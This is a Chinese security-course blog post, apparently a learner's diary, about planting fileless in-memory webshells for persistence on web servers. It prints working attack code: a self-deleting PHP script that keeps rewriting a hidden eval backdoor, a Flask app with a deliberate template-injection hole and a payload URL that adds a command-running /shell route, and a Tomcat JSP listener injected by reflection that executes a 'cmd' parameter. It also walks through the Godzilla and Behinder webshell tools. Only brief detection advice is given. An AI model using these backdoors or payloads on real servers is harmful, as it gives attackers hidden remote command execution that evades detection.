第146天:内网安全-Web权限维持&各语言内存马&Servlet-api类&Spring类&Agent类

目录

前置知识及资源

[案例一: 权限维持-Web-内存马-PHP](#案例一: 权限维持-Web-内存马-PHP)

[案例二: 权限维持-Web-内存马-Python](#案例二: 权限维持-Web-内存马-Python)

[案例三: 权限维持-Web-内存马-JAVA](#案例三: 权限维持-Web-内存马-JAVA)

[案例四: 权限维持-Web-内存马-哥斯拉&冰蝎](#案例四: 权限维持-Web-内存马-哥斯拉&冰蝎)

哥斯拉

​编辑

冰蝎


前置知识及资源

什么是内存马?

Webshell 内存马,是在内存中写入恶意后门和木马并执行,达到远程控制 Web 服务器
的一类内存马,其瞄准了企业的对外窗口:网站、应用。但传统的 Webshell 都是基于
文件类型的,黑客可以利用上传工具或网站漏洞植入木马,区别在于 Webshell 内存马
是无文件马,利用中间件的进程执行某些恶意代码,不会有文件落地,给检测带来巨大难
度。

本文涉及到的代码下载地址

链接: https://pan.baidu.com/s/1znRj_L9MN69DrsOV6cQHgQ?pwd=x8i8 提取码: x8i8

案例一: 权限维持-Web-内存马-PHP

php内存马代码

php 复制代码
<?php
    ignore_user_abort(true);
    set_time_limit(0);
    @unlink(__FILE__);
    $file = '.HH.php';
    $code = '<?php @eval($_POST[\'c\']); ?>';
    while (1){
       file_put_contents($file,$code);
       usleep(5000);
    }
?>

这段代码中各部分的含义

ignore_user_abort(true); ##代表该代码只要运行了就不会断开、

set_time_limit(0); ##该代码运行的时间,设置为0就是一致运行

@unlink(FILE); ##删除文件

while (1){

file_put_contents(file,code); ## 死循环创建文件并且写入

usleep(5000); ##延时

}

创建文件并且查看

然后访问http://ip/,这里会卡住,把之前创建的index文件会被删除,后面的页面是我访问的缓存,同时会产生一个.HH.php文件,这个文件是linux的隐藏文件,但是不知为何,我linux搭建的访问不了,只能这样演示。

.HH.php里面是一句话木马

在我去删除的时候,他又会立刻去创建出来,甚至在我鼠标右键的时候因为这个文件不断地创建,右键页面也不能打开,从时间也可以看出来这个文件,在一直的刷新

如何查杀

  1. 因为写在了内存中,所以直接重启

  2. 可以写一个条件竞争的代码,也是一直执行,刚创建就对其进行删除

案例二: 权限维持-Web-内存马-Python

漏洞代码,这段代码中有ssti注入漏洞

python 复制代码
from flask import Flask,request
from flask import render_template_string
app = Flask(__name__)

@app.route('/')
def hello_world():
    return 'Hello World'


@app.route('/test',methods=['GET', 'POST'])
def test():
    template = '''
        <div class="center-content error">
            <h1>Oops! That page doesn't exist.</h1>
            <h3>%s</h3>
        </div> 
    ''' %(request.values.get('param'))

    return render_template_string(template)


if __name__ == '__main__':
    app.run(port=8000)   

render_template_string函数会渲染字符串,而字符串中有用户能控制输入的参数param,就造成了命令执行的危害

创建代码,并执行

生成内存马,利用的时候只需要修改对应test的模块以及对应param的参数

python 复制代码
http://127.0.0.1:8000/test?param={{url_for.__globals__[%27__builtins__%27][%27eval%27](%22app.add_url_rule(%27/shell%27,%20%27shell%27,%20lambda%20:__import__(%27os%27).popen(_request_ctx_stack.top.request.args.get(%27cmd%27,%20%27whoami%27)).read())%22,{%27_request_ctx_stack%27:url_for.__globals__[%27_request_ctx_stack%27],%27app%27:url_for.__globals__[%27current_app%27]})}}

然后访问

shell?cmd=命令

但是创建文件的地方并没有shell的影子文件也没有修改

参考文章:Python 内存马分析 - 先知社区

案例三: 权限维持-Web-内存马-JAVA

环境搭建

选择tomcat目录,导入程序的war包

导入jdk

shift+f10进行启动

java有三大组件,listener-->filter-->servlet,这里的原理就是把木马写入组件内存中

监听器

漏洞代码是一个文件上传页面

listener-内存马

java 复制代码
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%
    Object obj = request.getServletContext();
    java.lang.reflect.Field field = obj.getClass().getDeclaredField("context");
    field.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) field.get(obj);
    //获取ApplicationContext
    field = applicationContext.getClass().getDeclaredField("context");
    field.setAccessible(true);
    StandardContext standardContext = (StandardContext) field.get(applicationContext);
    //获取StandardContext
    ListenerDemo listenerdemo = new ListenerDemo();
    //创建能够执行命令的Listener
    standardContext.addApplicationEventListener(listenerdemo);
%>
<%!
    public class ListenerDemo implements ServletRequestListener {
        public void requestDestroyed(ServletRequestEvent sre) {
            System.out.println("requestDestroyed");
        }
        public void requestInitialized(ServletRequestEvent sre) {
            System.out.println("requestInitialized");
            try{
                String cmd = sre.getServletRequest().getParameter("cmd");
                Runtime.getRuntime().exec(cmd);
            }catch (Exception e ){
                //e.printStackTrace();
            }
        }
    }
%>

上传

访问页面,虽然是空白

但是现在已经可以在后面跟命令执行了

甚至随便访问一个不存在的目录

目录中也并没有一点,木马的影子

甚至把这个文件删除掉仍然还能够运行

重启代码失效

过滤器和伺服器,利用和前面一摸一样的,不再复现

案例四: 权限维持-Web-内存马-哥斯拉&冰蝎

实战过程中由于中间件不同,可能有tomcat,weblogic等等就会出现不同种类的内存马,甚至有类似spring框架开发,就导致不能通用,所以现在要演示通过哥斯拉&冰蝎复现

哥斯拉

生成木马

上传

建立连接

生成内存马

生成之后会发现目录下不会有这个文件

利用内存马建立连接的时候,要注意他会把这个文件默认上传到网站根目录下,并且密码默认的是password而不是pass

利用内存马建立的连接

冰蝎

冰蝎在使用的过程中呢,会出现很多bug,个人觉得没有哥斯拉好用

上传木马进行连接,冰蝎的木马不用生成,目录里面就有

右键目标连接,进行内存马的注入

到这里创建不了内存马了,这个版本不可以选择filter

后面换成了小迪视频里面的冰蝎版本,视频中问题是木马不能再Upload目录下,这里我试了也不行,所以这个还是有很多的bug的

创建的时候是创建在网站根目录,访问也是利用根目录访问

成功连接,并且目录没有123文件

至此内网学习暂时告一段落,后面的vpc项目1和2已经下线,vpc4太大了,vpc3后可能做一下,希望你也能看到这里^_^

相关推荐
Dovir多多1 小时前
渗透测试入门学习——php表单form与POST、GET请求练习
学习·安全·web安全·网络安全·系统安全·php·xss
镭速2 小时前
远程跨境传输大文件如何做到安全又稳定?
运维·服务器·安全
Flying_Fish_roe2 小时前
linux-安全管理-SSH 安全管理
linux·安全·ssh
成都古河云3 小时前
智慧园区:解析集成运维的未来之路
大数据·运维·人工智能·科技·5g·安全
木凳子a5 小时前
怎么给儿童掏耳朵比较安全?安全儿童可视挖耳勺推荐
人工智能·安全·信息可视化·智能家居·健康医疗
Dovir多多5 小时前
渗透测试入门学习——php与mysql数据库连接、使用session完成简单的用户注册、登录
前端·数据库·后端·mysql·安全·html·php
网安詹姆斯6 小时前
网络安全(黑客技术)2024年三个月自学计划
网络·数据结构·python·mysql·安全·web安全·github
Flying_Fish_roe6 小时前
linux-安全管理-文件系统安全
linux·运维·安全
玥轩_52110 小时前
网络安全 DVWA通关指南 DVWA SQL Injection (Blind SQL盲注)
sql·安全·web安全·网络安全·dvwa·sql盲注